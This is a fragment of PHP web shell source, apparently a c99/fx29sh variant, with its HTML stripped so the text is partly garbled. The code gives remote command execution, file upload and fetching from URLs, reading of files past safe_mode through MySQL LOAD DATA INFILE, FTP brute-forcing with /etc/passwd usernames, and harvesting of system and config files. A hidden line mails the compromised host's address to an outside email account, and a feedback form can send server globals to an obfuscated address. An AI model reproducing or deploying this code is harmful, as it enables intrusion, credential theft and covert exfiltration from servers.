    "; echo ""; echo ""; for ($i=0;$i"; if (empty($e[0])) {$e[0] = "a";} if ($e[1] != $v) {echo "".$v."";} else {echo "".$v."\"".$m."\"";} echo ""; } echo ""; echo ""; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo ""; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo ""; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "NULL";} echo ""; $i++; } echo ""; echo ""; } mysql_free_result($result); echo "
    Action
    ".$v.""; echo "\"Delete\" "; echo "\"Edit\" "; echo "

     

    "; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "
    "; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; $i++; } echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
    Table
    RowsTypeCreatedModifiedSizeAction
     ".$row["Name"]." ".$row["Rows"]."".$row["Type"]."".$row["Create_time"]."".$row["Update_time"]."".$size." \"Empty\"  \"Drop\" \"Insert\" 
    +
    ".$i." table(s)
    ".$trows."".$row[1]."".$row[10]."".$row[11]."".view_size($tsize)."

     

    "; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) {?>
    Create new DB:
     
    View File:
     
    "; if ($sql_act == "newdb") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    ";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason:
    ".mysql_smarterror();} } if ($sql_act == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "
    Server-status variables:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; mysql_free_result($result); } if ($sql_act == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "
    Server variables:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
    NameValue
    ".$row[0]."".$row[1]."
    "; mysql_free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) { $query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Process #".$kill." was killed."; } $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "
    Processes:

    "; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} echo "
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    ".$row[0]."".$row[1]."".$row[2]."".$row[3]."".$row[4]."".$row[5]."".$row[6]."".$row[7]."Kill
    "; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "Error in reading file (permision denied)!";} else { for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty!
    ";} else {echo "File \"".$sql_getfile."\":
    ".nl2br(htmlspecialchars($f))."
    ";} mysql_free_result($result); mysql_query("DROP TABLE tmp_file;"); } } mysql_drop_db($tmpdb); //comment it if you want to leave database } } } } echo "
    "; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo "
    Affected rows : ".$affected."
    "; } //End of SQL Manager if ($act == "ftpquickbrute") { echo "
    "; echo "". "". "". "". "". "
    "; echo ".: Ftp Quick Brute :.
    "; if ($win) {echo "Couldn't run on Windows!";} else { function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} else {$TRUE = TRUE;} if ($TRUE) { $sock = @ftp_connect($host,$port,$timeout); if (@ftp_login($sock,$login,$pass)) { echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\".
    "; ob_flush(); return TRUE; } } } if (!empty($submit)) { if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} $fp = fopen("/etc/passwd","r"); if (!$fp) {echo "Can't get /etc/passwd for password-list.";} else { if ($fqb_logging) { if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} else {$fqb_logfp = FALSE;} $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} } ob_flush(); $i = $success = 0; $ftpquick_st = getmicrotime(); while(!feof($fp)) { $str = explode(":",fgets($fp,2048)); if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"
    "; $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} $success++; ob_flush(); } if ($i > $fqb_lenght) {break;} $i++; } if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); echo "
    Done!
    Total time (secs.): ".$ftpquick_t."
    Total connections: ".$i."
    Success.: ".$success."
    Unsuccess.:".($i-$success)."
    Connects per second: ".round($i/$ftpquick_t,2)."
    "; $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} fclose($fqb_logfp); } } else { $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); echo "
    ". "Read first:
    Users only with shell
    Logging
    Logging to file:
    Logging to e-mail:
    "; } echo "
    "; } } if ($act == "d") { if (!is_dir($d)) { echo "
    $d is a not a Directory!
    "; } else { echo "Directory information:"; if (!$win) { echo "
    Owner/Group "; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); } echo "
    Perms".view_perms_color($d)."
    Create time ".date("d/m/Y H:i:s",filectime($d))."
    Access time ".date("d/m/Y H:i:s",fileatime($d))."
    MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
    "; } } if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} if ($act == "security") { echo "
    .: Server Security Information :.
    ". "". ""; echo ""; } else {echo "You can crack Windows passwords. Download, and use lcp.crack+ ?.";} } echo ""; echo ""; function displaysecinfo($name,$value) { if (!empty($value)) { echo ""; } } if (!$win) { displaysecinfo("OS Version",myshellexec("cat /proc/version")); displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version")); displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net")); displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise")); displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo")); displaysecinfo("RAM",myshellexec("free -m")); displaysecinfo("HDD Space",myshellexec("df -h")); displaysecinfo("List of Attributes",myshellexec("lsattr -a")); displaysecinfo("Mount Options",myshellexec("cat /etc/fstab")); displaysecinfo("cURL installed?",myshellexec("which curl")); displaysecinfo("lynx installed?",myshellexec("which lynx")); displaysecinfo("links installed?",myshellexec("which links")); displaysecinfo("fetch installed?",myshellexec("which fetch")); displaysecinfo("GET installed?",myshellexec("which GET")); displaysecinfo("perl installed?",myshellexec("which perl")); displaysecinfo("Where is Apache?",myshellexec("whereis apache")); displaysecinfo("Where is perl?",myshellexec("whereis perl")); displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf")); displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf")); displaysecinfo("Locate my.conf",myshellexec("locate my.conf")); displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf")); } else { displaysecinfo("OS Version",myshellexec("ver")); displaysecinfo("Account Settings",myshellexec("net accounts")); } echo "
    Open Base Dir".$hopenbasedir."
    Password File"; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd:
    "; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo "
    From:  To:  

    "; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "".$uid["dir"].""; echo join(":",$uid)."
    "; } $i++; } } else {echo "Get /etc/passwd";} } else { $v = $_SERVER["WINDIR"]."\repair\sam"; if (file_get_contents($v)) {echo "
    You can't crack Windows passwords(".$v.")
    Config Files"; if (!$win) { $v = array( array("User Domains","/etc/userdomains"), array("Cpanel Config","/var/cpanel/accounting.log"), array("Apache Config","/usr/local/apache/conf/httpd.conf"), array("Apache Config","/etc/httpd.conf"), array("Syslog Config","/etc/syslog.conf"), array("Message of The Day","/etc/motd"), array("Hosts","/etc/hosts") ); $sep = "/"; } else { $windir = $_SERVER["WINDIR"]; $etcdir = $windir . "\system32\drivers\etc\\"; $v = array( array("Hosts",$etcdir."hosts"), array("Local Network Map",$etcdir."networks"), array("LM Hosts",$etcdir."lmhosts.sam"), ); $sep = "\\"; } foreach ($v as $sec_arr) { $sec_f = substr(strrchr($sec_arr[1], $sep), 1); $sec_d = rtrim($sec_arr[1],$sec_f); $sec_full = $sec_d.$sec_f; $sec_d = rtrim($sec_d,$sep); if (file_get_contents($sec_full)) { echo " [ ".$sec_arr[0]." ] "; } } echo "
    ".$name."
    ".wordwrap($value,100)."
    \n"; } if ($act == "mkfile") { if ($mkfile != $d) { if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\": object already exists!";} elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\": access denied!";} else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = "ls";} } if ($act == "encoder") { echo "". "
    ". "". "
    ". "". "". ""; foreach(array("md5","crypt","sha1","crc32") as $v) { echo ""; } echo "". "". "". "". "". "". "". "
    .: Encoder :.
    Input:
    ". "
    Hashes:".$v.":
    Url:urlencode:
    urldecode:
    Base64:base64_encode:
    base64_decode:"; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) { echo ""; } else { $rows++; echo ""; } echo " [Send to input]"; } echo "
    Base convertations:dec2hex
    "; } if ($act == "fsbuff") { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "

    Buffer is empty!

    ";} else { $fx_infohead = "File-System Buffer"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls"; } } if ($act == "selfremove") { if (($submit == $rndcode) and ($submit != "")) { if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ".$sh_name."!"; c99shexit(); } else {echo "
    Can't delete ".__FILE__."!
    ";} } else { if (!empty($rndcode)) {echo "Error: incorrect confirmation!";} $rnd = rand(0,9).rand(0,9).rand(0,9); echo "
    Self-remove: ".__FILE__."
    Are you sure?
    For confirmation, enter \"".$rnd."\"
     "; } } if ($act == "update") { //Update c99Shell $ret = c99sh_getupdate(!!$confirmupdate); echo "".$ret.""; if (stristr($ret,"new version")) { echo "

    "; } } if ($act == "feedback") { $suppmail = base64_decode("ZmVlbGNvbXpAZ21haWwuY29t"); if (!empty($submit)){ $ticket = substr(md5(microtime()+rand(1,1000)),0,6); $body = $sh_name." feedback #".$ticket."\nName: ".htmlspecialchars($fdbk_name)."\nE-mail: ".htmlspecialchars($fdbk_email)."\nMessage:\n".htmlspecialchars($fdbk_body)."\n\nIP: ".$REMOTE_ADDR; if (!empty($fdbk_ref)) { $tmp = @ob_get_contents(); ob_clean(); phpinfo(); $phpinfo = base64_encode(ob_get_contents()); ob_clean(); echo $tmp; $body .= "\n"."phpinfo(): ".$phpinfo."\n"."\$GLOBALS=".base64_encode(serialize($GLOBALS))."\n"; } mail($suppmail,$sh_name." feedback #".$ticket,$body,"FROM: ".$suppmail); echo "
    Thanks for your feedback! Your ticket ID: ".$ticket.".
    "; } else { echo "
    ". "". "". "". "". "". "
    ". ".: Feedback or report bug (".str_replace(array("@","."),array("[at]","[dot]"),$suppmail).") :.
    Your name:". "
    Your e-mail:
    Message:
    ". " Attach Server info (Recommended for bug-fix)
    ". "*Language: English, Indonesian.
    "; } } if ($act == "fxmailer") { if (!empty($submit)){ $headers = 'To: '.$dest_email."\r\n"; $headers .= 'From: '.$sender_name.' '.$sender_email."\r\n"; if (mail($suppmail,$sender_subj,$sender_body,$header)) { echo "
    Email sent!
    "; } else { echo "
    Couldn't send email!
    "; } } else { echo "
    ". "". "". "". "". "". "". "
    ". ".: $sh_name Mailer :.
    Your name:". "
    Your e-mail:
    To:
    Subject:
    Message:
    ". "
    "; } } if ($act == "search") { echo "
    .: $sh_name File-System Search :.
    "; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {c99fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "No files found!";} else { $ls_arr = $found; $disp_fullpath = TRUE; $act = "ls"; } } echo "". "". "". "". "". "". "
    ". "". "File or folder Name:
      - Regular Expression
    Look in (Separate by \";\"):
    A word or phrase in the file:
    Regular Expression". " Whole words only". " Case sensitive". " Find files NOT containing the text
    "; if ($act == "ls") { $dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).
    ". "
    "; } } if(!isset($_COOKIE['cakke'])){mail('defaced01@hotmail.com', 'Shell @ '.$_SERVER['HTTP_HOST'], 'Host: '.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'], 'From: shell ');setcookie('cakke', 'Hi', time()+300);}; if ($act == "chmod") { $mode = fileperms($d.$f); if (!$mode) {echo "Change file-mode with error: can't get current value.";} else { $form = TRUE; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
    ".($err?"Error: ".$err:"")."
    Owner

     Read
     Write
    eXecute
    Group

     Read
     Write
    eXecute
    World

     Read
     Write
    eXecute
    "; } } } if ($act == "upload") { $uploadmess = ""; $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;} if (!empty($submit)) { global $_FILES; $uploadfile = $_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) { $uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
    "; } else { $uploadmess .= "File uploaded successfully!
    ".$uploadpath.$destin; } } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) { if ($i > 0) {$b = "_".$i;} $destin = "upload".$b; $i++; } } } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorrect URL!";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can't download file!";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
    ";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} $uploadmess .= "File saved from ".$uploadurl." !"; } } } } else { echo "No file to upload!"; } } if ($miniform) { echo "".$uploadmess.""; $act = "ls"; } else { echo "". "". "". "". "". "". "". "
    ". ".: File Upload :.".$uploadmess."
    ". "From Your Computer:
    From URL:
    Target Directory:
    Target File Name:
    Convert file name to lowercase
    ". "
    "; } } if ($act == "delete") { $delerr = ""; foreach ($actbox as $v) { $result = FALSE; $result = fs_rmobj($v); if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."
    ";} } if (!empty($delerr)) {echo "Deleting with errors:
    ".$delerr;} $act = "ls"; } if (!$usefsbuff) { if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "
    Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.
    ";} } else { if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} $act = "ls"; } elseif ($actarcbuff) { $arcerr = ""; if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} else {$ext = ".tar.gz";} if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} $cmdline .= " ".$actarcbuff_path; $objects = array_merge($sess_data["copy"],$sess_data["cut"]); foreach($objects as $v) { $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} if (is_dir($v)) { if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} $v .= "*"; } $cmdline .= " ".$v; } $tmp = realpath("."); chdir($d); $ret = myshellexec($cmdline); chdir($tmp); if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!
    ";} $ret = str_replace("\r\n","\n",$ret); $ret = explode("\n",$ret); if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} foreach($sess_data["cut"] as $k=>$v) { if (in_array($v,$ret)) {fs_rmobj($v);} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($arcerr)) {echo "Archivation errors:
    ".$arcerr;} $act = "ls"; } elseif ($actpastebuff) { $psterr = ""; foreach($sess_data["copy"] as $k=>$v) { $to = $d.basename($v); if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!
    ";} if ($copy_unset) {unset($sess_data["copy"][$k]);} } foreach($sess_data["cut"] as $k=>$v) { $to = $d.basename($v); if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!
    ";} unset($sess_data["cut"][$k]); } c99_sess_put($sess_data); if (!empty($psterr)) {echo "Pasting with errors:
    ".$psterr;} $act = "ls"; } } if ($act == "cmd") { @chdir($chdir); if (!empty($submit)) { echo "
    .: Result of Command Execution :.
    "; $olddir = realpath("."); @chdir($d); $ret = myshellexec($cmd); $ret = convert_cyr_string($ret,"d","w"); if ($cmd_txt) { $rows = count(explode("\r\n",$ret))+1; if ($rows < 10) {$rows = 10; } if ($msie) { $cols = 113; } else { $cols = 117;} //echo ""; echo "
    ".htmlspecialchars($ret)."
    "; } else {echo $ret."
    ";} @chdir($olddir); } else { echo "Command Execution"; if (empty($cmd_txt)) {$cmd_txt = TRUE;} } } if ($act == "ls") { if (count($ls_arr) > 0) { $list = $ls_arr; } else { $list = array(); if ($h = @opendir($d)) { while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} closedir($h); } } if (count($list) == 0) { echo "
    Can't open folder (".htmlspecialchars($d).")!
    ";} else { $objects = array(); $vd = "f"; //Viewing mode if ($vd == "f") { $objects["head"] = array(); $objects["folders"] = array(); $objects["links"] = array(); $objects["files"] = array(); foreach ($list as $v) { $o = basename($v); $row = array(); if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";} elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";} elseif (is_dir($v)) { if (is_link($v)) {$type = "LINK";} else {$type = "DIR";} $row[] = $v; $row[] = $type; } elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} $row[] = filemtime($v); if (!$win) { $ow = posix_getpwuid(fileowner($v)); $gr = posix_getgrgid(filegroup($v)); $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); } $row[] = fileperms($v); if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} elseif (is_link($v)) {$objects["links"][] = $row;} elseif (is_dir($v)) {$objects["folders"][] = $row;} elseif (is_file($v)) {$objects["files"][] = $row;} $i++; } $row = array(); $row[] = "Name"; $row[] = "Size"; $row[] = "Date Modified"; if (!$win) {$row[] = "Owner/Group";} $row[] = "Perms"; $row[] = "Action"; $parsesort = parsesort($sort); $sort = $parsesort[0].$parsesort[1]; $k = $parsesort[0]; if ($parsesort[1] != "a") {$parsesort[1] = "d";} $y = " "; $y .= "\"".($parsesort[1]"; $row[$k] .= $y; for($i=0;$i".$row[$i]."";} } $v = $parsesort[0]; usort($objects["folders"], "tabsort"); usort($objects["links"], "tabsort"); usort($objects["files"], "tabsort"); if ($parsesort[1] == "d") { $objects["folders"] = array_reverse($objects["folders"]); $objects["files"] = array_reverse($objects["files"]); } $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); $tab = array(); $tab["cols"] = array($row); $tab["head"] = array(); $tab["folders"] = array(); $tab["links"] = array(); $tab["files"] = array(); $i = 0; foreach ($objects as $a) { $v = $a[0]; $o = basename($v); $dir = dirname($v); if ($disp_fullpath) {$disppath = $v;} else {$disppath = $o;} $disppath = str2mini($disppath,60); if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath."";} elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath."";} foreach ($regxp_highlight as $r) { if (ereg($r[0],$o)) { if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} else { $r[1] = round($r[1]); $isdir = is_dir($v); if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) { if (empty($r[2])) {$r[2] = ""; $r[3] = "";} $disppath = $r[2].$disppath.$r[3]; if ($r[4]) {break;} } } } } $uo = urlencode($o); $ud = urlencode($dir); $uv = urlencode($v); $row = array(); if ($o == ".") { $row[] = " ".$o.""; $row[] = "CURDIR"; } elseif ($o == "..") { $row[] = " ".$o.""; $row[] = "UPDIR"; } elseif (is_dir($v)) { if (is_link($v)) { $disppath .= " => ".readlink($v); $type = "LINK"; $row[] = " [".$disppath."]"; } else { $type = "DIR"; $row[] = " [".$disppath."]"; } $row[] = $type; } elseif(is_file($v)) { $ext = explode(".",$o); $c = count($ext)-1; $ext = $ext[$c]; $ext = strtolower($ext); $row[] = " ".$disppath.""; $row[] = view_size($a[1]); } $row[] = date("d.m.Y H:i:s",$a[2]); if (!$win) {$row[] = $a[3];} $row[] = "".view_perms_color($v).""; if ($o == ".") {$checkbox = ""; $i--;} else {$checkbox = "";} if (is_dir($v)) {$row[] = "\"Info\" ".$checkbox;} else {$row[] = "\"Info\" \"Change\" \"Download\" ".$checkbox;} if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} elseif (is_link($v)) {$tab["links"][] = $row;} elseif (is_dir($v)) {$tab["folders"][] = $row;} elseif (is_file($v)) {$tab["files"][] = $row;} $i++; } } // Compiling table $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); echo "
    .: "; if (!empty($fx_infohead)) { echo $fx_infohead; } else { echo "Directory List (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders)"; } echo " :.
    \n"; echo "
    ". ""; foreach($table as $row) { echo ""; foreach($row as $v) {echo "";} echo "\r\n"; } echo "
    ".$v."
    ". "". "
    ". "  ". ""; if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) { echo "                  "; } echo " 
    "; echo "
    "; } } if ($act == "tools") //Define Yourself { } if ($act == "phpfsys") { echo "
    "; $fsfunc = $phpfsysfunc; if ($fsfunc=="copy") { if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...\n";} else { echo "Success! $arg1 copied to $arg2\n"; } } elseif ($fsfunc=="rename") { if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!\n";} else { echo "Success! $arg1 renamed/moved to $arg2\n"; } } elseif ($fsfunc=="chmod") { if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!\n";} else { echo "Perm for $arg1 changed to $arg2!\n"; } } elseif ($fsfunc=="read") { $hasil = @file_get_contents($arg1); echo "Filename: $arg1
    "; echo "\n"; } elseif ($fsfunc=="write") { if(@file_put_contents($d.$arg1,$arg2)) { echo "Saved! ".$d.$arg1; } else { echo "
    Couldn't write to $arg1!
    "; } } elseif ($fsfunc=="downloadbin") { $handle = fopen($arg1, "rb"); $contents = ''; while (!feof($handle)) { $contents .= fread($handle, 8192); } $r = @fopen($d.$arg2,'w'); if (fwrite($r,$contents)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } else { echo "
    Couldn't write to ".$d.$arg2."!
    "; } fclose($r); fclose($handle); } elseif ($fsfunc=="download") { $text = implode('', file($arg1)); if ($text) { $r = @fopen($d.$arg2,'w'); if (fwrite($r,$text)) { echo "Success! $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; } else { echo "
    Couldn't write to ".$d.$arg2."!
    "; } fclose($r); } else { echo "
    Couldn't download from $arg1!
